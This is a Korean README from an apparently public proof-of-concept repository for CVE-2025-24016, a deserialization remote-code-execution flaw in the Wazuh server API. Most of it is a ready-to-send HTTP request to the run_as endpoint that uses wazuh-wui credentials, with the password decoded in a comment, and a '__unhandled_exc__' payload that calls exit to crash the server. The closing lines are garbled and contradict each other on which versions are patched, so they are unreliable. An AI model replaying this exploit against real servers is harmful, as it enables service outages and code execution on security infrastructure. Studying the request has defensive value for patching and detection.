muhammadwaseem29/cve-2025-24016CVE-2025-24016: Wazuh 서버에서의 RCE! 원격 코드 실행
이 저장소는 wazuh-manager 패키지의 안전하지 않은 역직렬화로 인해 발생하는 Wazuh 서버의 원격 코드 실행(RCE) 취약점을 보여줍니다. 이 취약점은 API 액세스 권한이 있는 원격 공격자(손상된 대시보드, 클러스터 내 Wazuh 서버, 또는 손상된 에이전트가 있는 특정 구성)가 서버에서 임의의 코드를 실행할 수 있도록 합니다.
wazuh-manager 버전 >= 4.4.0>= 4.9.1취약점은 Wazuh API에서 발생하며, DistributedAPI의 매개변수가 JSON으로 직렬화되고 framework/wazuh/core/cluster/common.py 파일의 as_wazuh_object를 사용하여 역직렬화됩니다. 공격자는 검증되지 않은 딕셔너리를 DAPI 요청에 주입하여 이 취약점을 악용할 수 있으며, 이는 임의의 Python 코드 실행으로 이어질 수 있습니다.
RCE는 run_as 엔드포인트를 사용하여 트리거할 수 있으며, 이를 통해 공격자는 auth_context 인수를 제어할 수 있습니다. 악의적인 요청을 조작하여 마스터 서버에서 임의의 코드를 실행할 수 있습니다.
서버 API를 사용하여 이 취약점을 트리거하려면 아래 단계를 따르십시오.
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg== # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
wazuh-wui:MyS3cr37P450r.*-).__unhandled_exc__가 포함되어 있으며, 이는 임의의 Python 코드 실행을 트리거합니다 (이 경우 exit).>= 4.4.0에서 4.9.0까지 영향을 미칩니다 (아직 패치되지 않음).exit 함수가 트리거되어 Wazuh 서버가 종료됩니다.시스템을 보호하려면 이 문제가 패치된 Wazuh 버전 >= 4.9.1로 업그레이드하십시오.